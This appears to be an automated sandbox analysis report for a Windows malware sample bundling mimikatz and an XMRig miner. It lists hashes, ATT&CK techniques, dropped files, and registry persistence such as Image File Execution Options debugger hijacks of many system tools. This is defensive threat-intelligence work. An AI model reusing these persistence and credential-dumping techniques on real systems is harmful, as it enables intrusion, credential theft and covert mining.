mimikatz | 7322f0e90ed59709a99af610d9f13d663b2a4cdcbd465e978c15555873323f4f

Analysis

max time kernel
127s
max time network
143s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
24-10-2024 07:01

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2024-10-24_9ac1ad9a7e5c7b2141139517dbb764d7_hacktools_icedid_mimikatz.exe
Size

8.6MB
MD5

9ac1ad9a7e5c7b2141139517dbb764d7
SHA1

a0e0a1e82f77688132824c3e67e6c6fd6a6627e8
SHA256

7322f0e90ed59709a99af610d9f13d663b2a4cdcbd465e978c15555873323f4f
SHA512

e9af4bb6a673646da948957dc7fd7997c3fa308ee0d50652c14729e5e8a3605412abb128c49297be3880d29a88de99967cd0037fa5cc303f6a3d22d471fa3be4
SSDEEP

196608:ylTPemknGzwHdOgEPHd9BYX/nivPlTXTYP:a3jz0E52/iv1

Score

10^/10

mimikatz xmrig credential_access discovery evasion execution miner persistence privilege_escalation upx

Malware Config

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

nihkvnz.exe

description	pid	Process	procid_target
PID 3024 created 288	3024	nihkvnz.exe	16

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Contacts a large (16323) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
credential_access

LSASS Memory
T1003.001

XMRig Miner payload 11 IoCs

miner

Processes:

resource	yara_rule
behavioral1/memory/1248-188-0x000000013FCB0000-0x000000013FDD0000-memory.dmp	xmrig
behavioral1/memory/1248-194-0x000000013FCB0000-0x000000013FDD0000-memory.dmp	xmrig
behavioral1/memory/1248-217-0x000000013FCB0000-0x000000013FDD0000-memory.dmp	xmrig
behavioral1/memory/1248-242-0x000000013FCB0000-0x000000013FDD0000-memory.dmp	xmrig
behavioral1/memory/1248-243-0x000000013FCB0000-0x000000013FDD0000-memory.dmp	xmrig
behavioral1/memory/1248-248-0x000000013FCB0000-0x000000013FDD0000-memory.dmp	xmrig
behavioral1/memory/1248-260-0x000000013FCB0000-0x000000013FDD0000-memory.dmp	xmrig
behavioral1/memory/1248-270-0x000000013FCB0000-0x000000013FDD0000-memory.dmp	xmrig
behavioral1/memory/1248-279-0x000000013FCB0000-0x000000013FDD0000-memory.dmp	xmrig
behavioral1/memory/1248-388-0x000000013FCB0000-0x000000013FDD0000-memory.dmp	xmrig
behavioral1/memory/1248-389-0x000000013FCB0000-0x000000013FDD0000-memory.dmp	xmrig

mimikatz is an open source tool to dump credentials on Windows 8 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2172-4-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral1/memory/2172-0-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral1/files/0x000900000001756e-5.dat	mimikatz
behavioral1/memory/2820-9-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral1/memory/1968-136-0x000000013F420000-0x000000013F50E000-memory.dmp	mimikatz
behavioral1/memory/956-135-0x0000000000CC0000-0x0000000000DAE000-memory.dmp	mimikatz
behavioral1/memory/1968-140-0x000000013F420000-0x000000013F50E000-memory.dmp	mimikatz
behavioral1/memory/3024-187-0x0000000002420000-0x0000000002540000-memory.dmp	mimikatz

Drops file in Drivers directory 2 IoCs

Processes:

nihkvnz.exewpcap.exe

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	nihkvnz.exe
File created	C:\Windows\system32\drivers\npf.sys	wpcap.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs

persistence

Image File Execution Options Injection

T1546.012

Processes:

nihkvnz.exe

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe	nihkvnz.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	nihkvnz.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	nihkvnz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe	nihkvnz.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	nihkvnz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe	nihkvnz.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	nihkvnz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe	nihkvnz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe	nihkvnz.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	nihkvnz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe	nihkvnz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe	nihkvnz.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	nihkvnz.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	nihkvnz.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	nihkvnz.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	nihkvnz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe	nihkvnz.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	nihkvnz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe	nihkvnz.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	nihkvnz.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	nihkvnz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe	nihkvnz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe	nihkvnz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	nihkvnz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe	nihkvnz.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	nihkvnz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe	nihkvnz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	nihkvnz.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	nihkvnz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe	nihkvnz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe	nihkvnz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	nihkvnz.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	nihkvnz.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	nihkvnz.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	nihkvnz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe	nihkvnz.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	nihkvnz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe	nihkvnz.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	nihkvnz.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	nihkvnz.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

Processes:

netsh.exenetsh.exe

pid	Process
1732	netsh.exe
1620	netsh.exe

Executes dropped EXE 18 IoCs

Processes:

nihkvnz.exenihkvnz.exewpcap.exerjfiekzcc.exevfshost.exectjtihzei.exeaktvci.exectjtihzei.exexohudmc.exedqljeo.exectjtihzei.exectjtihzei.exectjtihzei.exectjtihzei.exectjtihzei.exectjtihzei.exenihkvnz.execytccbssd.exe

pid	Process
2820	nihkvnz.exe
3024	nihkvnz.exe
3068	wpcap.exe
2168	rjfiekzcc.exe
1968	vfshost.exe
2080	ctjtihzei.exe
1248	aktvci.exe
2400	ctjtihzei.exe
2304	xohudmc.exe
2260	dqljeo.exe
1752	ctjtihzei.exe
2984	ctjtihzei.exe
2700	ctjtihzei.exe
328	ctjtihzei.exe
2776	ctjtihzei.exe
2228	ctjtihzei.exe
1956	nihkvnz.exe
2204	cytccbssd.exe

Loads dropped DLL 25 IoCs

Processes:

cmd.execmd.exewpcap.execmd.exerjfiekzcc.execmd.exenihkvnz.execmd.exe

pid	Process
2460	cmd.exe
2460	cmd.exe
2900	cmd.exe
3068	wpcap.exe
3068	wpcap.exe
3068	wpcap.exe
3068	wpcap.exe
3068	wpcap.exe
2580	cmd.exe
2168	rjfiekzcc.exe
2168	rjfiekzcc.exe
956	cmd.exe
956	cmd.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
2588	cmd.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
18	ifconfig.me
19	ifconfig.me

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135
Creates a Windows Service
persistence

Drops file in System32 directory 12 IoCs

Processes:

nihkvnz.exewpcap.exexohudmc.exe

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	nihkvnz.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	nihkvnz.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	nihkvnz.exe
File created	C:\Windows\SysWOW64\pthreadVC.dll	wpcap.exe
File created	C:\Windows\SysWOW64\wpcap.dll	wpcap.exe
File created	C:\Windows\SysWOW64\dqljeo.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\dqljeo.exe	xohudmc.exe
File created	C:\Windows\SysWOW64\Packet.dll	wpcap.exe
File created	C:\Windows\system32\wpcap.dll	wpcap.exe
File created	C:\Windows\system32\Packet.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\BB4F4B8E2B2CFC476849B6B724C153FF	nihkvnz.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\BB4F4B8E2B2CFC476849B6B724C153FF	nihkvnz.exe

UPX packed file 33 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/files/0x000500000001a493-132.dat	upx
behavioral1/memory/1968-136-0x000000013F420000-0x000000013F50E000-memory.dmp	upx
behavioral1/memory/1968-140-0x000000013F420000-0x000000013F50E000-memory.dmp	upx
behavioral1/files/0x000500000001a4b4-142.dat	upx
behavioral1/memory/2080-146-0x000000013F2B0000-0x000000013F30B000-memory.dmp	upx
behavioral1/files/0x000500000001a4ab-149.dat	upx
behavioral1/memory/1248-151-0x000000013FCB0000-0x000000013FDD0000-memory.dmp	upx
behavioral1/memory/2080-156-0x000000013F2B0000-0x000000013F30B000-memory.dmp	upx
behavioral1/memory/2400-163-0x000000013FCD0000-0x000000013FD2B000-memory.dmp	upx
behavioral1/memory/2400-185-0x000000013FCD0000-0x000000013FD2B000-memory.dmp	upx
behavioral1/memory/1248-188-0x000000013FCB0000-0x000000013FDD0000-memory.dmp	upx
behavioral1/memory/1752-193-0x000000013F5A0000-0x000000013F5FB000-memory.dmp	upx
behavioral1/memory/1248-194-0x000000013FCB0000-0x000000013FDD0000-memory.dmp	upx
behavioral1/memory/1752-197-0x000000013F5A0000-0x000000013F5FB000-memory.dmp	upx
behavioral1/memory/2984-204-0x000000013F920000-0x000000013F97B000-memory.dmp	upx
behavioral1/memory/2984-206-0x000000013F920000-0x000000013F97B000-memory.dmp	upx
behavioral1/memory/2700-213-0x000000013F870000-0x000000013F8CB000-memory.dmp	upx
behavioral1/memory/2700-215-0x000000013F870000-0x000000013F8CB000-memory.dmp	upx
behavioral1/memory/1248-217-0x000000013FCB0000-0x000000013FDD0000-memory.dmp	upx
behavioral1/memory/328-222-0x000000013F570000-0x000000013F5CB000-memory.dmp	upx
behavioral1/memory/328-224-0x000000013F570000-0x000000013F5CB000-memory.dmp	upx
behavioral1/memory/2776-230-0x000000013FD40000-0x000000013FD9B000-memory.dmp	upx
behavioral1/memory/2776-232-0x000000013FD40000-0x000000013FD9B000-memory.dmp	upx
behavioral1/memory/2228-238-0x000000013F060000-0x000000013F0BB000-memory.dmp	upx
behavioral1/memory/2228-240-0x000000013F060000-0x000000013F0BB000-memory.dmp	upx
behavioral1/memory/1248-242-0x000000013FCB0000-0x000000013FDD0000-memory.dmp	upx
behavioral1/memory/1248-243-0x000000013FCB0000-0x000000013FDD0000-memory.dmp	upx
behavioral1/memory/1248-248-0x000000013FCB0000-0x000000013FDD0000-memory.dmp	upx
behavioral1/memory/1248-260-0x000000013FCB0000-0x000000013FDD0000-memory.dmp	upx
behavioral1/memory/1248-270-0x000000013FCB0000-0x000000013FDD0000-memory.dmp	upx
behavioral1/memory/1248-279-0x000000013FCB0000-0x000000013FDD0000-memory.dmp	upx
behavioral1/memory/1248-388-0x000000013FCB0000-0x000000013FDD0000-memory.dmp	upx
behavioral1/memory/1248-389-0x000000013FCB0000-0x000000013FDD0000-memory.dmp	upx

Drops file in Program Files directory 3 IoCs

Processes:

wpcap.exe

description	ioc	Process
File created	C:\Program Files\WinPcap\rpcapd.exe	wpcap.exe
File created	C:\Program Files\WinPcap\LICENSE	wpcap.exe
File created	C:\Program Files\WinPcap\uninstall.exe	wpcap.exe

Drops file in Windows directory 60 IoCs

Processes:

2024-10-24_9ac1ad9a7e5c7b2141139517dbb764d7_hacktools_icedid_mimikatz.exenihkvnz.execytccbssd.execmd.exe

description	ioc	Process
File created	C:\Windows\rtldfmcc\nihkvnz.exe	2024-10-24_9ac1ad9a7e5c7b2141139517dbb764d7_hacktools_icedid_mimikatz.exe
File created	C:\Windows\ypbgnfgfn\UnattendGC\specials\posh-0.dll	nihkvnz.exe
File created	C:\Windows\ypbgnfgfn\UnattendGC\specials\vimpcsvc.exe	nihkvnz.exe
File created	C:\Windows\ypbgnfgfn\UnattendGC\docmicfg.xml	nihkvnz.exe
File opened for modification	C:\Windows\rtldfmcc\docmicfg.xml	nihkvnz.exe
File opened for modification	C:\Windows\rtldfmcc\nihkvnz.exe	2024-10-24_9ac1ad9a7e5c7b2141139517dbb764d7_hacktools_icedid_mimikatz.exe
File created	C:\Windows\ypbgnfgfn\UnattendGC\specials\crli-0.dll	nihkvnz.exe
File created	C:\Windows\ypbgnfgfn\Corporate\mimidrv.sys	nihkvnz.exe
File opened for modification	C:\Windows\ypbgnfgfn\livcfcfiu\Result.txt	cytccbssd.exe
File created	C:\Windows\ypbgnfgfn\UnattendGC\svschost.xml	nihkvnz.exe
File created	C:\Windows\ypbgnfgfn\livcfcfiu\rjfiekzcc.exe	nihkvnz.exe
File created	C:\Windows\ypbgnfgfn\UnattendGC\specials\tucl-1.dll	nihkvnz.exe
File opened for modification	C:\Windows\rtldfmcc\schoedcl.xml	nihkvnz.exe
File created	C:\Windows\ypbgnfgfn\livcfcfiu\wpcap.dll	nihkvnz.exe
File created	C:\Windows\ypbgnfgfn\UnattendGC\specials\spoolsrv.exe	nihkvnz.exe
File created	C:\Windows\ypbgnfgfn\UnattendGC\specials\schoedcl.exe	nihkvnz.exe
File opened for modification	C:\Windows\ypbgnfgfn\livcfcfiu\Packet.dll	nihkvnz.exe
File created	C:\Windows\ypbgnfgfn\UnattendGC\specials\docmicfg.exe	nihkvnz.exe
File created	C:\Windows\ypbgnfgfn\UnattendGC\vimpcsvc.xml	nihkvnz.exe
File created	C:\Windows\rtldfmcc\schoedcl.xml	nihkvnz.exe
File created	C:\Windows\ypbgnfgfn\Corporate\vfshost.exe	nihkvnz.exe
File created	C:\Windows\ypbgnfgfn\upbdrjv\swrpwe.exe	nihkvnz.exe
File created	C:\Windows\ypbgnfgfn\UnattendGC\specials\docmicfg.xml	nihkvnz.exe
File created	C:\Windows\ypbgnfgfn\UnattendGC\Shellcode.ini	nihkvnz.exe
File created	C:\Windows\ypbgnfgfn\UnattendGC\specials\exma-1.dll	nihkvnz.exe
File created	C:\Windows\ypbgnfgfn\UnattendGC\specials\xdvl-0.dll	nihkvnz.exe
File created	C:\Windows\ypbgnfgfn\UnattendGC\specials\schoedcl.xml	nihkvnz.exe
File created	C:\Windows\rtldfmcc\svschost.xml	nihkvnz.exe
File opened for modification	C:\Windows\rtldfmcc\svschost.xml	nihkvnz.exe
File created	C:\Windows\ypbgnfgfn\livcfcfiu\Packet.dll	nihkvnz.exe
File created	C:\Windows\ypbgnfgfn\UnattendGC\specials\ssleay32.dll	nihkvnz.exe
File created	C:\Windows\ypbgnfgfn\UnattendGC\schoedcl.xml	nihkvnz.exe
File created	C:\Windows\ypbgnfgfn\UnattendGC\specials\vimpcsvc.xml	nihkvnz.exe
File created	C:\Windows\ypbgnfgfn\Corporate\mimilib.dll	nihkvnz.exe
File created	C:\Windows\ypbgnfgfn\UnattendGC\specials\coli-0.dll	nihkvnz.exe
File created	C:\Windows\ypbgnfgfn\UnattendGC\specials\libeay32.dll	nihkvnz.exe
File created	C:\Windows\ypbgnfgfn\UnattendGC\specials\svschost.xml	nihkvnz.exe
File created	C:\Windows\ypbgnfgfn\UnattendGC\specials\spoolsrv.xml	nihkvnz.exe
File created	C:\Windows\rtldfmcc\spoolsrv.xml	nihkvnz.exe
File created	C:\Windows\rtldfmcc\vimpcsvc.xml	nihkvnz.exe
File created	C:\Windows\ypbgnfgfn\livcfcfiu\wpcap.exe	nihkvnz.exe
File created	C:\Windows\ypbgnfgfn\livcfcfiu\cytccbssd.exe	nihkvnz.exe
File created	C:\Windows\ypbgnfgfn\UnattendGC\specials\libxml2.dll	nihkvnz.exe
File created	C:\Windows\ypbgnfgfn\UnattendGC\specials\tibe-2.dll	nihkvnz.exe
File created	C:\Windows\ypbgnfgfn\UnattendGC\spoolsrv.xml	nihkvnz.exe
File opened for modification	C:\Windows\rtldfmcc\spoolsrv.xml	nihkvnz.exe
File created	C:\Windows\ypbgnfgfn\UnattendGC\specials\trch-1.dll	nihkvnz.exe
File created	C:\Windows\ypbgnfgfn\livcfcfiu\ip.txt	nihkvnz.exe
File created	C:\Windows\ypbgnfgfn\UnattendGC\specials\cnli-1.dll	nihkvnz.exe
File created	C:\Windows\ypbgnfgfn\UnattendGC\specials\trfo-2.dll	nihkvnz.exe
File created	C:\Windows\ypbgnfgfn\UnattendGC\specials\ucl.dll	nihkvnz.exe
File created	C:\Windows\rtldfmcc\docmicfg.xml	nihkvnz.exe
File opened for modification	C:\Windows\rtldfmcc\vimpcsvc.xml	nihkvnz.exe
File created	C:\Windows\ypbgnfgfn\UnattendGC\AppCapture64.dll	nihkvnz.exe
File created	C:\Windows\ime\nihkvnz.exe	nihkvnz.exe
File opened for modification	C:\Windows\ypbgnfgfn\Corporate\log.txt	cmd.exe
File created	C:\Windows\ypbgnfgfn\UnattendGC\specials\zlib1.dll	nihkvnz.exe
File created	C:\Windows\ypbgnfgfn\UnattendGC\AppCapture32.dll	nihkvnz.exe
File created	C:\Windows\ypbgnfgfn\UnattendGC\specials\svschost.exe	nihkvnz.exe
File created	C:\Windows\ypbgnfgfn\livcfcfiu\scan.bat	nihkvnz.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exe

pid	Process
916	sc.exe
2020	sc.exe
1656	sc.exe
1776	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

Processes:

netsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exe

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
